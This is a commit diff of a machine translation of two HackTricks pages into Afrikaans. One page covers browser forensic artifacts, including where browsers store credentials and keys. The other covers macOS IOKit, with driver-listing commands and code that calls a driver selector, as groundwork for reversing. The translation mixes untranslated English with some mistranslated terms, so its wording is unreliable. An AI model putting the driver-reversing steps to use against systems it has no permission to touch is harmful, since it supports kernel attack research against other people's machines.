Translated ['generic-methodologies-and-resources/basic-forensic-methodol

This commit is contained in:
Translator 2024-07-19 10:16:39 +00:00
parent 534f75b696
commit 25aa5988af
150 changed files with 6126 additions and 6878 deletions

View file

@ -1,8 +1,8 @@
# Bladsy Artefakte
# Blaaier Artefakte
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -18,28 +18,28 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) om maklik te bou en **werkvloei te outomatiseer** wat deur die wêreld se **mees gevorderde** gemeenskapstoestelle aangedryf word.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) om maklik te bou en **werkvloei te outomatiseer** wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
## Bladsy Artefakte <a href="#id-3def" id="id-3def"></a>
## Blaaier Artefakte <a href="#id-3def" id="id-3def"></a>
Bladsy artefakte sluit verskeie tipes data in wat deur webblaaiers gestoor word, soos navigasiegeskiedenis, boekmerke en kasdata. Hierdie artefakte word in spesifieke vouers binne die bedryfstelsel gehou, wat verskil in ligging en naam oor blaaiers, maar oor die algemeen soortgelyke datatipes stoor.
Blaaier artefakte sluit verskeie tipes data in wat deur webblaaiers gestoor word, soos navigasiegeskiedenis, boekmerke en kasdata. Hierdie artefakte word in spesifieke vouers binne die bedryfstelsel gehou, wat verskil in ligging en naam oor blaaiers, maar oor die algemeen soortgelyke datatipes stoor.
Hier is 'n opsomming van die mees algemene bladsy artefakte:
Hier is 'n opsomming van die mees algemene blaaier artefakte:
* **Navigasiegeskiedenis**: Volg gebruikersbesoeke aan webwerwe, nuttig om besoeke aan kwaadwillige webwerwe te identifiseer.
* **Navigasiegeskiedenis**: Hou gebruikersbesoeke aan webwerwe dop, nuttig om besoeke aan kwaadwillige webwerwe te identifiseer.
* **Outomatiese Voltooiing Data**: Voorstelle gebaseer op gereelde soektogte, wat insigte bied wanneer dit saam met navigasiegeskiedenis gekombineer word.
* **Boekmerke**: Webwerwe wat deur die gebruiker gestoor is vir vinnige toegang.
* **Uitbreidings en Byvoegings**: Blaaieruitbreidings of byvoegings wat deur die gebruiker geïnstalleer is.
* **Kas**: Stoor webinhoud (bv. beelde, JavaScript-lêers) om webwerf laaitye te verbeter, waardevol vir forensiese analise.
* **Kas**: Stoor webinhoud (bv. beelde, JavaScript-lêers) om webwerf laai tye te verbeter, waardevol vir forensiese analise.
* **Aanmeldings**: Gestoor aanmeldbesonderhede.
* **Favicons**: Ikone wat met webwerwe geassosieer word, wat in oortjies en boekmerke verskyn, nuttig vir addisionele inligting oor gebruikersbesoeke.
* **Blaaier Sessies**: Data verwant aan oop blaaier sessies.
* **Aflaaie**: Rekords van lêers wat deur die blaaier afgelaai is.
* **Vormdata**: Inligting wat in webvorms ingevoer is, gestoor vir toekomstige outomatiese voltooiingsvoorstelle.
* **Miniatuurbeelde**: Voorvertoning beelde van webwerwe.
* **Miniatuurbeelde**: Voorskoubeelde van webwerwe.
* **Custom Dictionary.txt**: Woorde wat deur die gebruiker aan die blaaier se woordeskat bygevoeg is.
## Firefox
@ -59,13 +59,13 @@ Binne elke profiel vouer, kan jy verskeie belangrike lêers vind:
* **bookmarkbackups**: Bevat rugsteun van boekmerke.
* **formhistory.sqlite**: Stoor webvormdata.
* **handlers.json**: Bestuur protokolhanterings.
* **persdict.dat**: Aangepaste woordeskat woorde.
* **persdict.dat**: Aangepaste woordeskatwoorde.
* **addons.json** en **extensions.sqlite**: Inligting oor geïnstalleerde byvoegings en uitbreidings.
* **cookies.sqlite**: Koekie stoor, met [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) beskikbaar vir inspeksie op Windows.
* **cookies.sqlite**: Koekie berging, met [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) beskikbaar vir inspeksie op Windows.
* **cache2/entries** of **startupCache**: Kasdata, toeganklik deur gereedskap soos [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Stoor favicons.
* **prefs.js**: Gebruikerinstellings en voorkeure.
* **downloads.sqlite**: Ouers aflaaie databasis, nou geïntegreer in places.sqlite.
* **prefs.js**: Gebruikersinstellings en voorkeure.
* **downloads.sqlite**: Ouere aflaaie databasis, nou geïntegreer in places.sqlite.
* **thumbnails**: Webwerf miniatuurbeelde.
* **logins.json**: Geënkripteerde aanmeldinligting.
* **key4.db** of **key3.db**: Stoor enkripsiesleutels om sensitiewe inligting te beveilig.
@ -100,9 +100,9 @@ Google Chrome stoor gebruikersprofiele in spesifieke plekke gebaseer op die bedr
Binne hierdie gidse kan die meeste gebruikersdata in die **Default/** of **ChromeDefaultData/** vouers gevind word. Die volgende lêers hou belangrike data:
* **History**: Bevat URL's, aflaaie, en soekwoorde. Op Windows kan [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) gebruik word om die geskiedenis te lees. Die "Transition Type" kolom het verskeie betekenisse, insluitend gebruikersklicks op skakels, getypte URL's, vormindienings, en bladsy herlaai.
* **History**: Bevat URL's, aflaaie, en soek sleutelwoorde. Op Windows kan [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) gebruik word om die geskiedenis te lees. Die "Transition Type" kolom het verskeie betekenisse, insluitend gebruikersklieks op skakels, getypte URL's, vormindienings, en bladsy herlaai.
* **Cookies**: Stoor koekies. Vir inspeksie is [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) beskikbaar.
* **Cache**: Hou gekapte data. Om te inspekteer, kan Windows gebruikers [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) gebruik.
* **Cache**: Hou gekaapte data. Om te inspekteer, kan Windows gebruikers [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) gebruik.
* **Bookmarks**: Gebruikersboekmerke.
* **Web Data**: Bevat vormgeskiedenis.
* **Favicons**: Stoor webwerf favicons.
@ -124,27 +124,27 @@ Internet Explorer 11 bestuur sy data en metadata oor verskeie plekke, wat help o
### Metadata Storage
Metadata vir Internet Explorer word gestoor in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (met VX wat V01, V16, of V24 is). Saam hiermee kan die `V01.log` lêer wys datums van wysigingsverskille met `WebcacheVX.data`, wat 'n behoefte aan herstel aandui met `esentutl /r V01 /d`. Hierdie metadata, wat in 'n ESE-databasis gehuisves word, kan herstel en ondersoek word met behulp van hulpmiddels soos photorec en [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), onderskeidelik. Binne die **Containers** tabel kan 'n mens die spesifieke tabelle of houers waar elke datasegment gestoor is, onderskei, insluitend cache besonderhede vir ander Microsoft gereedskap soos Skype.
Metadata vir Internet Explorer word gestoor in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (met VX wat V01, V16, of V24 is). Saam hiermee kan die `V01.log` lêer wys datums van verandering met `WebcacheVX.data`, wat 'n behoefte aan herstel aandui met `esentutl /r V01 /d`. Hierdie metadata, wat in 'n ESE-databasis gehuisves word, kan herstel en ondersoek word met hulpmiddels soos photorec en [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), onderskeidelik. Binne die **Containers** tabel kan 'n mens die spesifieke tabelle of houers waar elke datasegment gestoor word, onderskei, insluitend cache besonderhede vir ander Microsoft gereedskap soos Skype.
### Cache Inspection
Die [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) hulpmiddel laat vir cache inspeksie toe, wat die cache data ekstraksie vouer plek vereis. Metadata vir cache sluit lêernaam, gids, toegang telling, URL oorsprong, en tydstempels in wat die cache skepping, toegang, wysiging, en vervaldatums aandui.
Die [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) hulpmiddel laat vir cache inspeksie toe, wat die cache data ekstraksie vouer plek vereis. Metadata vir cache sluit lêernaam, gids, toegang telling, URL oorsprong, en tydstempels in wat die cache skepping, toegang, verandering, en vervaldatums aandui.
### Cookies Management
Koekies kan ondersoek word met behulp van [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), met metadata wat name, URL's, toegang tellings, en verskeie tydverwante besonderhede insluit. Volhoubare koekies word gestoor in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, met sessie koekies wat in geheue woon.
Koekies kan ondersoek word met [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), met metadata wat name, URL's, toegang tellings, en verskeie tydverwante besonderhede insluit. Volhoubare koekies word gestoor in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, met sessie koekies wat in geheue woon.
### Download Details
Aflaai metadata is toeganklik via [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), met spesifieke houers wat data soos URL, lêertipe, en aflaai plek hou. Fisiese lêers kan onder `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` gevind word.
Aflaai metadata is toeganklik via [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), met spesifieke houers wat data soos URL, lêer tipe, en aflaai plek hou. Fisiese lêers kan onder `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` gevind word.
### Browsing History
Om blaai geskiedenis te hersien, kan [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gebruik word, wat die plek van ekstrakte geskiedenis lêers en konfigurasie vir Internet Explorer vereis. Metadata hier sluit wysigings- en toegangstye in, saam met toegang tellings. Geskiedenis lêers is geleë in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
Om blaai geskiedenis te hersien, kan [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gebruik word, wat die plek van ekstrakte geskiedenis lêers en konfigurasie vir Internet Explorer vereis. Metadata hier sluit verandering en toegang tye in, saam met toegang tellings. Geskiedenis lêers is geleë in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Typed URLs
Getypte URL's en hul gebruik tydstippe word in die register onder `NTUSER.DAT` by `Software\Microsoft\InternetExplorer\TypedURLs` en `Software\Microsoft\InternetExplorer\TypedURLsTime` gestoor, wat die laaste 50 URL's wat deur die gebruiker ingevoer is en hul laaste invoertye volg.
Getypte URL's en hul gebruik tydstippe word in die register onder `NTUSER.DAT` by `Software\Microsoft\InternetExplorer\TypedURLs` en `Software\Microsoft\InternetExplorer\TypedURLsTime` gestoor, wat die laaste 50 URL's wat deur die gebruiker ingevoer is en hul laaste invoer tye op spoor.
## Microsoft Edge
@ -162,7 +162,7 @@ Safari data word gestoor by `/Users/$User/Library/Safari`. Sleutel lêers sluit
* **History.db**: Bevat `history_visits` en `history_items` tabelle met URL's en besoek tydstempels. Gebruik `sqlite3` om te vra.
* **Downloads.plist**: Inligting oor afgelaaide lêers.
* **Bookmarks.plist**: Stoor geboekte URL's.
* **Bookmarks.plist**: Stoor geboekmerkte URL's.
* **TopSites.plist**: Meest besoekte webwerwe.
* **Extensions.plist**: Lys van Safari blaaiers uitbreidings. Gebruik `plutil` of `pluginkit` om te onttrek.
* **UserNotificationPermissions.plist**: Domeine wat toegelaat word om kennisgewings te stuur. Gebruik `plutil` om te parse.
@ -187,21 +187,22 @@ Hierdie paaie en opdragte is noodsaaklik vir toegang tot en begrip van die blaai
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) om maklik te bou en **werkvloei te outomatiseer** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# macOS IOKit
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Werk jy vir 'n **sakeman in siber-sekuriteit**? Wil jy jou **sakeman geadverteer sien op HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons eksklusiewe versameling van [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS en HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-groep** of die [**telegram-groep**](https://t.me/peass) of **volg my** op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Deel jou hacking-truuks deur 'n PR te stuur na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basiese Inligting
## Basic Information
Die I/O Kit is 'n oopbron, objekgeoriënteerde **toestelbestuurder-raamwerk** in die XNU-kernel, hanteer **dinamies gelaaide toestelbestuurders**. Dit maak dit moontlik om modulêre kode op die vlieg by die kernel te voeg, wat diverse hardeware ondersteun.
Die I/O Kit is 'n oopbron, objek-georiënteerde **toestuurder-raamwerk** in die XNU-kern, wat **dynamies gelaaide toestel bestuurders** hanteer. Dit laat modulaire kode toe om aan die kern bygevoeg te word terwyl dit loop, wat verskillende hardeware ondersteun.
IOKit-bestuurders sal basies **funksies uit die kernel uitvoer**. Hierdie funksieparameter **tipes** is **voorafgedefinieer** en word geverifieer. Verder, soortgelyk aan XPC, is IOKit net nog 'n laag bo-op **Mach-boodskappe**.
IOKit bestuurders sal basies **funksies van die kern** **uitvoer**. Hierdie funksieparameter **tipes** is **vooraf gedefinieer** en word geverifieer. Boonop, soortgelyk aan XPC, is IOKit net nog 'n laag op **top van Mach boodskappe**.
**IOKit XNU-kernelkode** is deur Apple oopbron in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Verder is die gebruikerspas IOKit-komponente ook oopbron [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
**IOKit XNU kernkode** is oopgesluit deur Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Boonop is die gebruikersruimte IOKit-komponente ook oopbron [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
Tog is **geen IOKit-bestuurders** oopbron nie. Hoe dan ook, van tyd tot tyd kan 'n vrystelling van 'n bestuurder met simbole kom wat dit makliker maak om dit te foutsoek. Kyk hoe om [**die bestuurder-uitbreidings van die firmware hier te kry**](./#ipsw)**.**
Echter, **geen IOKit bestuurders** is oopbron. In elk geval, van tyd tot tyd kan 'n vrystelling van 'n bestuurder kom met simbole wat dit makliker maak om dit te debug. Kyk hoe om [**die bestuurder uitbreidings van die firmware hier te kry**](./#ipsw)**.**
Dit is geskryf in **C++**. Jy kan ontwarde C++ simbole kry met:
Dit is geskryf in **C++**. Jy kan demangled C++ simbole kry met:
```bash
# Get demangled symbols
nm -C com.apple.driver.AppleJPEGDriver
@ -33,7 +36,7 @@ __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaq
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
{% hint style="danger" %}
IOKit **blootgestelde funksies** kan **addisionele sekuriteitskontroles** uitvoer wanneer 'n klient probeer om 'n funksie aan te roep, maar let daarop dat programme gewoonlik **beperk** word deur die **sandbox** waarmee IOKit funksies kan interageer.
IOKit **blootgestelde funksies** kan **addisionele sekuriteitskontroles** uitvoer wanneer 'n kliënt probeer om 'n funksie aan te roep, maar let daarop dat die programme gewoonlik **beperk** is deur die **sandbox** waartoe IOKit-funksies hulle kan interaksie hê.
{% endhint %}
## Bestuurders
@ -41,9 +44,9 @@ IOKit **blootgestelde funksies** kan **addisionele sekuriteitskontroles** uitvoe
In macOS is hulle geleë in:
* **`/System/Library/Extensions`**
* KEXT-lêers wat in die OS X-bedryfstelsel ingebou is.
* KEXT-lêers ingebou in die OS X-bedryfstelsel.
* **`/Library/Extensions`**
* KEXT-lêers wat deur derdeparty sagteware geïnstalleer is
* KEXT-lêers geïnstalleer deur 3de party sagteware
In iOS is hulle geleë in:
@ -65,48 +68,48 @@ Index Refs Address Size Wired Name (Version) UUID <Linked
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
```
Tot die nommer 9 word die vermelde drywers **gelaai op adres 0**. Dit beteken dat dit nie werklike drywers is nie, maar deel van die kernel en hulle kan nie gedeaktiveer word nie.
Tot nommer 9 is die gelysde bestuurders **gelaai in die adres 0**. Dit beteken dat dit nie werklike bestuurders is nie, maar **deel van die kern en hulle kan nie ontlaai word nie**.
Om spesifieke uitbreidings te vind, kan jy gebruik:
Om spesifieke uitbreidings te vind, kan jy gebruik maak van:
```bash
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
```
Om kernel-uitbreidings te laai en te ontlas, doen:
Om kernuitbreidings te laai en te ontlaai, doen:
```bash
kextload com.apple.iokit.IOReportFamily
kextunload com.apple.iokit.IOReportFamily
```
## IORegistry
Die **IORegistry** is 'n noodsaaklike deel van die IOKit-raamwerk in macOS en iOS wat dien as 'n databasis om die stelsel se hardewarekonfigurasie en -toestand voor te stel. Dit is 'n **hiërargiese versameling van voorwerpe wat al die hardeware en drywers** wat op die stelsel gelaai is, en hul verhoudings met mekaar, voorstel.
Die **IORegistry** is 'n belangrike deel van die IOKit-raamwerk in macOS en iOS wat dien as 'n databasis vir die voorstelling van die stelsel se hardewarekonfigurasie en -toestand. Dit is 'n **hiërargiese versameling van objekke wat al die hardeware en bestuurders** wat op die stelsel gelaai is, verteenwoordig, en hul verhoudings tot mekaar.
Jy kan die IORegistry kry deur die cli **`ioreg`** te gebruik om dit vanaf die konsole te inspekteer (veral nuttig vir iOS).
Jy kan die IORegistry verkry met die cli **`ioreg`** om dit vanaf die konsole te inspekteer (spesiaal nuttig vir iOS).
```bash
ioreg -l #List all
ioreg -w 0 #Not cut lines
ioreg -p <plane> #Check other plane
```
Jy kan **`IORegistryExplorer`** aflaai van **Xcode Aanvullende Gereedskap** vanaf [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) en die **macOS IORegistry** deur 'n **grafiese** koppelvlak inspekteer.
You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **grafiese** interface.
<figure><img src="../../../.gitbook/assets/image (1167).png" alt="" width="563"><figcaption></figcaption></figure>
In IORegistryExplorer word "vlakke" gebruik om die verhoudings tussen verskillende voorwerpe in die IORegistry te organiseer en te vertoon. Elke vlak verteenwoordig 'n spesifieke tipe verhouding of 'n spesifieke aansig van die stelsel se hardeware en drywerkonfigurasie. Hier is van die algemene vlakke wat jy in IORegistryExplorer mag teëkom:
In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer:
1. **IOService Vlak**: Dit is die mees algemene vlak wat die diensvoorwerpe vertoon wat drywers en nubs (kommunikasiekanaal tussen drywers) verteenwoordig. Dit toon die verskaffer-kliëntverhoudings tussen hierdie voorwerpe.
2. **IODeviceTree Vlak**: Hierdie vlak verteenwoordig die fisiese verbindings tussen toestelle soos hulle aan die stelsel geheg is. Dit word dikwels gebruik om die hiërargie van toestelle wat via busse soos USB of PCI gekoppel is, te visualiseer.
3. **IOPower Vlak**: Vertoon voorwerpe en hul verhoudings in terme van kragbestuur. Dit kan wys watter voorwerpe die kragtoestand van ander beïnvloed, nuttig vir die foutopsporing van kragverwante probleme.
4. **IOUSB Vlak**: Spesifiek gefokus op USB-toestelle en hul verhoudings, wat die hiërargie van USB-hubs en gekoppelde toestelle vertoon.
5. **IOAudio Vlak**: Hierdie vlak is vir die voorstelling van klanktoestelle en hul verhoudings binne die stelsel.
1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects.
2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI.
3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues.
4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices.
5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system.
6. ...
## Drywer Komm Kode Voorbeeld
## Driver Comm Code Example
Die volgende kode verbind met die IOKit-diens `"JouDiensNaamHier"` en roep die funksie binne die kieser 0 aan. Vir dit:
The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it:
* roep dit eers **`IOServiceMatching`** en **`IOServiceGetMatchingServices`** aan om die diens te kry.
* Dit vestig dan 'n verbinding deur **`IOServiceOpen`** aan te roep.
* En dit roep uiteindelik 'n funksie aan met **`IOConnectCallScalarMethod`** wat die kieser 0 aandui (die kieser is die nommer wat die funksie wat jy wil aanroep, toegewys het).
* it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service.
* It then establish a connection calling **`IOServiceOpen`**.
* And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned).
```objectivec
#import <Foundation/Foundation.h>
#import <IOKit/IOKitLib.h>
@ -161,25 +164,27 @@ IOObjectRelease(iter);
return 0;
}
```
Daar is **ander** funksies wat gebruik kan word om IOKit funksies aan te roep, afgesien van **`IOConnectCallScalarMethod`** soos **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
There are **ander** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
## Omkeer van bestuursingangspunt
## Reversing driver entrypoint
Jy kan hierdie byvoorbeeld verkry vanaf 'n [**firmware-beeld (ipsw)**](./#ipsw). Laai dit dan in jou gunsteling decompiler.
You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler.
Jy kan begin met die dekompilering van die **`externalMethod`** funksie aangesien dit die bestuursfunksie is wat die oproep sal ontvang en die korrekte funksie sal aanroep:
You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function:
<figure><img src="../../../.gitbook/assets/image (1168).png" alt="" width="315"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1169).png" alt=""><figcaption></figcaption></figure>
Daardie afgryslike oproep beteken:
That awful call demagled means:
{% code overflow="wrap" %}
```cpp
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
{% endcode %}
Let daarop hoe in die vorige definisie die **`self`** param gemis word, die goeie definisie sou wees:
Let op hoe die **`self`** parameter in die vorige definisie ontbreek, die goeie definisie sou wees:
{% code overflow="wrap" %}
```cpp
@ -187,17 +192,17 @@ IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArg
```
{% endcode %}
Eintlik, jy kan die werklike definisie vind op [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
Werklik, jy kan die werklike definisie vind in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
```cpp
IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments,
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
```
Met hierdie inligting kan jy Ctrl+Right herskryf na `Wysig funksie-handtekening` en die bekende tipes instel:
Met hierdie inligting kan jy Ctrl+Right -> `Edit function signature` herskryf en die bekende tipes stel:
<figure><img src="../../../.gitbook/assets/image (1174).png" alt=""><figcaption></figcaption></figure>
Die nuwe gedekompilde kode sal lyk soos:
Die nuwe dekompilde kode sal soos volg lyk:
<figure><img src="../../../.gitbook/assets/image (1175).png" alt=""><figcaption></figcaption></figure>
